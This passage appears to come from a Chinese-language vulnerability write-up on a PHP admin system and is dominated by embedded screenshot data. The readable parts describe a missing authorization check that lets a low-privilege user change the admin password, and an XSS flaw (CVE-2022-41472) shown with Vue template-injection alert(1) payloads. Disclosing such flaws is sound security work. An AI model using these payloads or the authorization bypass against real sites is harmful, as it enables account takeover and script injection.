7y9pL6+Ph43/fzLH48vfujxRxeuXdfiJ72ouNT1Ku9mnzL91+FCX/Hg5UAQGM4BnIPhHCD5GCXCKRHGafZflKEdjZctefvsdQW01fP1KS9hJGC4KePX5nEVAEDrVZa8A1TsYI5/TCt5LxAEQRDktsAwrGtK5y5dko/9fTIn28MK+JsqMTF+9syp17fvjp17m4dWFBWXVFRUdemcTBDENRdettHnX343oH/vqZPHNw+tmDF9MgB88+3Glm6OPjB3Bo7jN/LsO3ftu5tDK0JCgoKCAk+cOM2+w36+PsrwMGVYqLe3l7MPwzC1tfXlFRVFxaXqVnNAdghvL+l9UyfeyBEKCovZK1Bvb69B9/RztudcyuuZ3u3JJxYVF5c6G3fu3t89LWX2rKkymb9c5k9R/9wJalD/uWWHx//kE8ePsdvtO3ftZR/+tum7oMAAjyPRanU5l3JzcwtOnTl38tRZZzuO41izmKBhQwcBwMGDRwiCuOZr7KhP351BIhEPGTLQx+U/LQAIhIL09DSlMnT33gPmtk36ITcPP8pPNqVr4+ECzZGi5lupQKlX/yjdmXJj3o1mNuVH+mMUYcypgRsLqaGCvCS9wvXnykwFdR47iNNCSD+R9lixXfsf+9+F88igx/tbyhtVG24of/N/xY2GVshl/qkpXQgOAQA6nc5ksrh1YGidwWBsaFBbLFaLxWIwGLVanclstlqtqto6tr2Ni4y5XJLH43VKTuzbp6fRaMzNK8zIvFhYVGKzXdmdJMmQ4KDIqHAeRZWUljWoGzUabfPj4ziO43hwUGB691RlWKhAIKhQV5pMZj9Line truncated
|
||||
<p blockindex=76>以 ceshi1 用户登录后台,可以直接操作修改 admin 的密码<br>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACtAAAAOaCAIAAACEQhMwAAAACXBIWXMAABYlAAAWJQFJUiTwAAAgAElEQVR4nOzdZ3gc1dUA4DN9dravtqj3bsu9N0wz1WAgYAgloQZCSCAQOgktBEIoSSAkkAAhCSEQUvggNs2Aaca9SpYsyerSFm1vs9O+HyuELK1kyZVy3sc/tHfu3LmzWq2lveeeQ0yaugAQQgghhBBCCCGEEEIIIYQQQgghhCaCPNoTQAghhBBCCCGEEEIIIYQQQgghhNBXDwYcIIQQQgghhBBCCCGEEEIIIYQQQmjCMOAAIYQQQgghhBBCCCGEEEIIIYQQQhOGAQcIIYQQQgghhBBCCCGEEEIIIYQQmjAMOEAIIYQQQgghhBBCCCGEEEIIIYTQhGHAAUIIIYQQQgghhBBCCCGEEEIIIYQmDAMOEEIIIYQQQgghhBBCCCGEEEIIITRhGHCAEEIIIYQQQgghhBBCCCGEEEIIoQnDgAOEEEIIIYQQQgghhBBCCCGEEEIITRgGHCCEEEIIIYQQQgghhBBCCCGEEEJowjDgACGEEEIIIYQQQgghhBBCCCGEEEIThgEHCCGEEEIIIYQQQgghhBBCCCGEEJowDDhACCGEEEIIIYQQQgghhBBCCCGE0ITRR3sCCCGEEEIIIYQQQgghhBBCCCH0TbS233O0p4C+PpZkOY/8RTHDAUIIIYQQQgghhBBCCCGEEEIIIYQmDAMOEEIIIYQQQgghhBBCCCGEEEIIITRhGHCAEEIIIYQQQgghhBBCCCGEEEIIoQmjj/YEEEIIIYQQQgghhBBCCCGEEELom25JlvNoTwF99azt9xzdCWCGA4QQQgghhBBCCCGEEEIIIYQQQghNGAYcIIQQQgghhBBCCCGEEEIIIYQQQmjCMOAAIYQQQgghhBBCCCGEEEIIIYQQQhOGAQcIIYQQQgghhBBCCCGEEEIIIYQQmjAMOEAIIYQQQgghhBBCCCGEEEIIIYTQhGHAAUIIIYQQQgghhBBCCCGEEEIIIYQmjD7aE0AIIYQQQgh9ndVMLp8+e1J+UTZD418fCCGE0NeHJMtd7X1bNuxq2Nl8tOeCEEIIIYQQOmrwIz+EEEIIIYTQYZFflH3THVfmFeRkWWwU0EAc7QkhhBBC6BDSQAG5/zx/d2fvr37+TFd739GeEEIIIYQQQugowIADhBBCCCGE0KFXUlbwyydvtZlsPC0c7bkghBBC6LCggcnNyrOZrY/94a6br31wb0vn0Z4RQgghhBBC6Egjj/YEEEIIIYQQQl9Dt997jd1sx2gDhBBC6GuPpwW72X77vdcc7YkghBBCCCGEjgIMOEAIIYQQQggdYicvX2K321iKP9oTQQghhNCRwFK83W47efmSoz0RhBBCCCGE0JE2sZIKJEmSJElRJEmSPM/zHMfreFmWvd7+ZDI5zkEoirJYzEaDnuO4WDzudnslSZr4zAcYjQajwWA0GlRV7enti8Xio/U0GAwORxZFkoqq+v2BUCh8wBcdiiRJiqLG7qNpmqqqqqpOdGRBEMxmo8Nul2XZ6+uPRqNj3OCEUBTFMIxOx+v1QjAYjkajh2RYhBBCCCGEAOCUFcfazFlHexYIIYQQOnJs5qxTVhy7+v/WHu2JIIQQQgghhI6oCQcccBzLcRzHsg5HlsPhcNiz4onEus82jj/ggGGY4qKCkuIihyOrs7P7/bWfHEzAgdNhLysrKSstFsXUW++8N8Z6vMORNX/uLIZhRDG1Zev2QxVwQNMUy3Jj99E0VRRTEw04oGnK4ciqrqqYN2dWNBb77LONrW3thyrggGEYk8mYk+0qyM/d1dCIAQcIIYQQQugQKizKpYiJ/a2BEEIIoa80iqALi3KP9iwQQgghhBBCRxqdk+2iaIqmKAAgSYrnOYahKYoiCCLdgyRJk8mk4zkA0Ol0JpOR41iapo1Gg14QSIryen1ut0dTVX8gqCjK2NejKMpo0NfUVNVUV8qS7PP5SZI4mBvIycmePKmmID9PFEW32+tyOoYeVRQ1Fo/HorFwOOKwZ9VNrqVpOhQOS7JkMOiHDZVIJOPxuD8QjMXiNqvFbDbp9QJNZ/icNBqNdXX3mIzG2tpqu91mNpnGnqSiKOFwpKe3r75+dyAYGuetEQSh43mb1VJUVBCJRBt2N3EsO85z90un43OyXXV1tdOn1ekNepZh+tyeQxWEgdCRodcL531rxSv//G80Fku3rDjj1PKykldefa29o/OAh124YG5Otuuddz8Ihsb704qGstuzDHqhrX3Ub8HK887atGlrc8vekYdmzph6yUUr333vw9f+b9XhnCNCCKHDjuMZgsDybQghhNA3CEGQHM8c7VkghNAEEAxPO2s0KSF7dmfuQDGGY29So+7YumfHOSbjrGLLj419+jRoGfYfGpb8UHbvTja9k/EoQuPEFs4S5lwmNn+Q2PqPcZ1AkIyjQvI0ZjjCGuisIql31/jGoWhbEW0vl71Nsr9t7L66md+m9Pb4xr+qcf+4Bkcj6A2CyWgMBsOJROJozwWh/aCLiwo5nuVYDgBYjjWbTQa9nuO4wTgAlmWKigrtNhsAmExGl8vBMAN/PEiS5HZ79zS3uj3eZFIMR6L7DTigadpoNNZNrqmbXNvY2HzwN5Cbm103udZiNomplCimhi0QpmfY3dPb3t7psNsnTaomgOjzeHieLyzIHzZUf7/f7fY2Nu0RxVRubk5JcWF2tkuny1B3trfXHQ5HiosKv3X2GZUVpS6Xc+xJpqexcfNWj9c3/oADAIJhGL1eb7dnMQwjCLqM0Q8HRq8XCvJzp0+rO+nE43Q8TwDx2YZNGHCAvlrOOWv5jTdcW1iYf899vwQAkiR/8P0rs7OdL73y7wMeMyfb9fCD9xgM+s6u7s/Wbzp0k/0a4jjObDZluxw52dk5Oa6cbFdpWXF1ZYXVagmGQqcuXxkOR0ae5XI577j1x31uz8mnnTsy70tXd+/SYxbl5eViwAFCCCGEEEIIIYTQlxOltysx35G/LpM/nStdfGDnSt4msWH1sEbSkG351hOpjvWhf9+Q+TSS5iedLvuaxx9wIMy9nC1dKPftFFs/GnaIcdXqpq+U+/cmm97OeC4/eTllzhvnhTJK7f1E6tl+MCN8LVF6O7ACUAxJ0nKoWxOPXL5n0uAQZl98MCOITe9K3duGNcp9DVRWsWDOTWz7J2ijrsqRvJnJrWPLj2FLFpK8OfjqD6SuLcP68LUnG465IfrBb9KxCwQrkIwArEAwAsEKZPoLwUo7yml7OWUrISgGAKS++uA/rhxj2gTF6Od8BzSIfvS7A7zzbzCSpGbOmFpdVcF/vkAZj8V37KzfsbNe07SjOzeERkMvWTKf53mGYWRZBgCe4xiGoSgqneAgHIkmk0m/PxAOR2RZ1jSNJElVUSRJjkSj4XAkHI709/v73B6v15ceYWzTp9XNnjXdZrX29PRt3LSlvqFRFMXBoyzLFBUW2GxWAPD7A+0dnanUqNUWsrOdRYUFtTVVubnZUkpSVLWsrFgUU/LnACBdyEBRFbPZVF5eyjKsqqk8x5WWFJeWFCcSCTGVkmVZU9X01ZOiyHIcSRKCoMvKsuXl5VjMZpqmdTqO5/lIJBqPxwFA0zSOHyij4A8Eg6Gwx+MLhUI8z2dlWctKS8RUqqVlbzgcSSaTDqfdarFMtJ7C4RYMhnc1NOoNeh3Psyy7eNE8RVFoiurp7TtUVRsQGuq+u29juQNJ0fG7p57NmK6AJMkLv32upml/e/GVdMuxSxdnZzs3b9ne1dVzYJMkSfKhX9xtMhkfeexJjDZImz9v9ncuPp+maZqmGYamaVqv15uMBqPRMBh8NkgUxT3NrWve+7CxaQ/P8xkDDlaccSpJki++9GrGd0W32/PW2++dcvIJNdWVDbubDsstIYQQQgghhBBCCKEDQxDC3Mv1sy+OfPB4cvuB7/k5MLSrRjd95YGdSza+MzLgQAm0qeFeJqcOCGqMVdsJiW14gS1dyNedNTLggJ9+LgAkNr0IoywZchUnsIWzDubqaizwTQ44YIvnsYVzoh8+kU4gQTsqufJj2LJj6KySLzppquTeLXV8ltzznuJrOdxTInmzbso5BzOC3L83HXBA6Cxc2ZIv2r1NbMFs/aLvK4H2wUaxaQ2bP103YyVpcFB6B9ADy1hqPJBsWAVqhhc5X7scVFlseif90HrhC5QpJ+NMtGRE8TbK3uZU9xapc/MXBwgCYHiCQ7ZoLsEaxMa3QdOAoPZ3l+poPxTfTGeddbrNahnaIuiFuXNnFRcXvvXOe8nEeAvcoyPAclyleV5x31/Wi53Boz2XA0TyTN6PjhG7gp6/bTyYceiZ06dRNAUAkUgkkRCHHdbUSCwW9/sDopgSRTEWi4fDkUQymUqlPF5fun08cQYAwLIMz/NT6iYtXjQ/Ho83NrVs276rpbVNkr44nWGYgvy8svISnuPa2jv9gWAoFB45PkmSJEnm5+XOnTOzuKhQEITuQE8ikbRn2Tie0zQtFAoHAsF0pA/HcVk2q8Viyc/LkSQpkUxGo/H8vBy7PSsej4cj0UAgKIopAKBpmiRIAoAgCJIkKYpiWcZo1BuNxiyb1W7P2ru3vbunV9OAYZjBkhPBUCjgD9bvburs6LLZrOXlpS6XMxqJbtu+s6u71+8P1NZUlpeX2qzWDM8+TdM0TVFkxnyzPM8JOh3LMiRJUBTJsZwgCAaDIfPzq2kaaKmUJEmjhmgMIggiFotFo1GWYQgglixZUFNd6Q8EE8lkNBpLJkVVVTFOCh1aJy07XhB0B3Dii39/NWPAwYnHL83LzVn74SeDmfm/ff45APDmW+9yHDfGgKlUarSX93Xfv3LG9Clvvf3ec39+cWi7wWC45KKVJEk88bs/HsAtfKW1tLaVlhbLsixJsizLkiQFAoGUKNpsVlFMvfzPf/f0uN0ej9vtcXu8Ho9v7OAqgiDLine truncated
|
||||
<p blockindex=77>代码分析:<br>
|
||||
查看触发的函数 edit() ,路径位于 /application/apiadmin/controller/Admin.php<br>
|
||||
跟踪发现,其中并没有完善的鉴权机制,只要能访问到这个页面就可以进行修改。<br>
|
||||
<img src="data:image/png;base64,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 truncated
|
||||
<h3 blockindex=78>v3.12.0 XSS |Notice.php</h3>
|
||||
<p blockindex=79>漏洞信息:<br>
|
||||
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41472">CVE - CVE-2022-41472 (mitre.org)</a></p>
|
||||
<p blockindex=80>Payload:<br>
|
||||
利用 Vue.JS 特性实现 DOM XSS</p>
|
||||
<pre blockindex=81><code class="hljs language-rb">{{<span class=hljs-variable>$on</span>.constructor(<span class=hljs-string>'alert(1)'</span>)()}}
|
||||
{{alert(<span class=hljs-number>1</span>)}}
|
||||
</code></pre>
|
||||
<p blockindex=82><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAACa4AAAWACAIAAAA0vdTdAAAACXBIWXMAABYlAAAWJQFJUiTwAAAgAElEQVR4nOzdd2BTVRcA8Jv38vKy05WkTVe6N6VQaNl7ygYB2SggMlREFBARBBFBcIM4QYVPxQkqQ5C9dykt3YuuNG2avfO+Px7GkKalLeAo5/dXc9/ITdsk791z7zmMhOSuCAAAAAAAAAAAAAAAAAAAAAAA2hbsn+4AAAAAAAAAAAAAAAAAAAAAAADcfxAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QRAKBQAAAAAAAAAAAAAAAAAAAAC0QcwHenYMwzAMw3EMwzA2m80mSTaHbbPZampqTSZTM0+C47iXl0jA55EkqTcYqqtrrFZrq7skEPAFfL5AwHc4HBWVVXq9obE9+Xy+WOyLY5jd4airU6nVmlY/qSsMw3Acb3ofiqIcDofD4WjpmblcrkgkEPv52Wy2GmWtTqdr4gW2CI7jBEFwOGwej1tfr9HpdPfltAAAAAAAAAAAAAAAAAAAAAA8IA88FEqSLJIkSRZLLPYVi8ViP1+D0Xj23MXmh0IJgpCHBofJQ8Vi37Ky8qPHT99LKFQi9ouICIsIl5vNloOHjjQRKRSLfbukpRIEYTZbrlzNuF+hUCYTZ7HIpvehKIfZbGlpKJTJxMVi39iYqPTOqTq9/ty5i4XFJfcrFEoQhFAoCPCXBgfJbmTnQCgUAAAAAAAAAAAAAAAAAAAA/Mu1LBTK43GFAgHOxJk4jhDCMJzNJgmCieM4g8Gg98EwTCgUctgkQojD4QiFApJkMZlMgYDP43IxHK+pUVZXKyiHo05Vb7fbm35GHMcFfF5cXExcbLTNalMq6zCM0apXeltAgH9iQlxwUKDZbK6urpFKxK5b7XaH3mDQ6/QajVbs55uUGM9kMtUajdVm5fN5bqcyGk0Gg6FOVa/XG3y8vUQiIY/HZTI9/Ep1Ov2t8gqhQBAfH+vn5yMSCpvupN1u12i0FZVVWVk3VfXqZr40BoPBYbN9vL1CQ4O1Wl32zVySxWrmsXfF4bAD/KVJSfEp7ZN4fB6LIKqqFfcrPAzA34PH444fN2r3dz/r9Hq6ZdSIoZERYbu/31NSWtbq03brmhbgLz10+Fi9urnvVnAvkhLjx4weduPGze9+2PNP9+VfB8fx/v16qdWas+cu0i1JifEymf+Zsxc0Gm2LThUfHzNm1LDTp8//cfTEA+hpW8OSd2XHDzFl/mwpvXgv5yEkMWTcIJsiz5S97371rW3AcTw+Lkat1pSW3XJtHzZ0YHR05N5fD+TlFdz7s0yfOpEkyY8+2dHEPhiGhYQEaTTaujpVE7stmDdLrdZ+ufObe+8VQAh17dJZKBQc/P2Ic6YghmEvLnnGarXu3LW7sqr6n+0eAFFREVMnja9Xqze/veWf7stDjc/jBQcHZt/MbWyHCeNHX7p0Nb+gqOGmjh2Sp02ZcPjIiT174SsYAAAAeLA4HHZCfJzRaLyRddPjDiwW8fLy5yurqrd8+FkzzxkfFzOgf5/3PvjI4+KiF55/+saNm/sOHGrp0iMAXKWnpT715OOHDh9r5s0+hmGxMVFZ2TkNN/H5/Ijw0GsZN5pzHhzHw8NCY6Ijs2/mFhQWN7Eng8FYuWJJTY2y+e+dh0fLQqFCgUAeGkKyWSSLRAixSJZIJOTzeCRJOiOULBYRGhri5+ODEBIKBVKpmCAIepPVaq2ursnLL6xW1JhMZo1Wd9dQKJPJFAgESYlxSYnxOTn5LX59Dchk/kmJ8V4iodliMZstbqELuoflFZUlJWViP7+EhFgGYlQpFGw2OyQ4yO1UtbV11dU1Obl5ZrNFJgsIk4f4+0s5HHbDJ62srNZotPLQkHFjRkRHhUulkqY7SXfj4uWrihpl80OhCDEIguDxeH5+vgRBcLkcj3HZ1uHxuMFBspT2SYMG9OWw2QzEOHfhEoRCwX/L2NHDFy+aHxIStHrNBoQQhmEL5s3295d8vfvHVp8zwF+6cf1qPp9Xdqv83PlL96+z/2HPP7eAJFs8D0NRo/z4ky+as2e1ombk8KG9e3X/ac9vNput5R1sy9hsctOGNdczs5yh0EkTxw4fNnjCpCcau8HwiMUiXl+7MiJcfvLU2QfT07aGKYkmo/qaC0/e43kcZi0n+VG7utJ0cz+iqPvSt/8oPo8XFCQLDg6Uy0M6tE/ukNKOx+Pu/WX/shVrnPv07N7ltTUrDAbjl1/dn4jjpMfGiUTCpkOhwx4ZtG7Nii0ffrblw0+djUwm87ln5+UXFP7w4y90y7QpE8tulTvvjh6bMFYqFb/97of3pZ//WjiOh4fL7/EkFRWVDZOazJwxqUtapxnK+RcvXaVbXlzyzOTHxl3LyHzrna33+IzAzUvLnmMRzf0ef2/Lx0pl7QPtz39CWVl5ly6dpBLxnr37PIbZPHrQl0xtGJPJFAoFErFfQIDUXyoNCJDK5SExUZEymT+DwZjxxF+fFa6kUslLS5+rqlYMfuTRhsOgt8ore/fqHhgog1AoAACAfy0el6s33J/8fy3SKTWlT+8erTs2+2bu3l/2uzUG+Ptv//T902fOz3lqkcejmEzm6FHDcnLzmx/OmTf3id69umVczzxy1P3GPCkxftqUCfkFRb/t/93jsc8snMu4p7VXaOeu3TVwVdwAj8tlEkwMx3EM02i0Fovlb3tqiUQ8+4mp93KG/QcOX7p8za0xMzM7IkIeHCTb9fV3TQS2vESilJSkfn179erZzdtLNHPWggsXr7jtM3L44GUvLnpj47v0uAGPx+VxuVwel8fl8nhc+qGPj3d0dGRMdGREeBiLRSCEMq5nTZo6u4luJyXGPTp25PGTZ1r5stu0loXKgoJkPXt2YbPZBEHQA9BskiQIAsdx+vNCo9WZTKa6OpVGo7XZbBRFYRjmsNutVptWp9NotBqNtra2rqpaUVOjbM4Qdkr7pE6pKT7e3hUVVRcvXcnKzjGbzc6tLBYRGhLs4+ONEKqrU5WUllksjebO9feXhIYEx8fFyGT+VovV7nBERMjNZovtTwghOi2t3WEXiYSRkeEsguWgHGySDA+Th4fJjUaj2WKx2WyUw0E/u8lsZpEkhjG4XI6vr09gYICXSMRkMjkcks1ma7U6g8GAEKIoimTfTopbp6qvV2sUCqVarWaz2b6+3hHhYWaLpaCgSKPRmkwmscTP28vr3zZFpb5ecyM7h8fncdhsFovVo3u63W5n4njT9VYBaLU1q5axWj42hBDasvUzj0s8MQybPOlRiqJ27tpNt/Tp3cPfX3L5SsatWxWt6ySGYW+8vkooFGx66wOIgzo9OnYkj8dt6VF5+YXNHNdTKGq+/3HPYxPG9uvb88DBP1reQXB385+aFREuN5lM8XEx8XExje1Wraj5/oe9f2fH/rUYBAchRFmblfwf4/qy44c2ttWurca9Avk9FjoMnhcdWkrO2WoaXe/SNry9aV3/fr1cW6qrFUePnzxz7q9FtwnxsZs2rsVxXFVf//ziBa47r9/wjkpV73y4auWLye0SPT7RB1s/OXT4WIv6dvTYSZvN1q1rZ7dQ6LQpE44eO+UMhboZPKhffFxMmw+FikTCH3ffa4TmqQWLT5y8YxKGVCpJ69SxrKzceSM6c/qkyY+NQwjFxcacOXHAdedTp88tev6le+zDf0hgYMDTC+a04kCH3eE6scDV6JGPsNkeJnd6tP3L/z1UoVBvL5Gvr4/HTd9+99MzC558ZuHcd95r9J1eWFTiepf3oC+Z/uv8/HzXrFrOJHCCeRuHwxEI+EIBv+G/qMPhKC4p3X/gcE5ufmP3p6NGDMUwbNfX33u8166uVhz8/ciQwf3jYqObWFcKAAAA/CMYDEaHlOT27ZNOnz2fneVhhdkD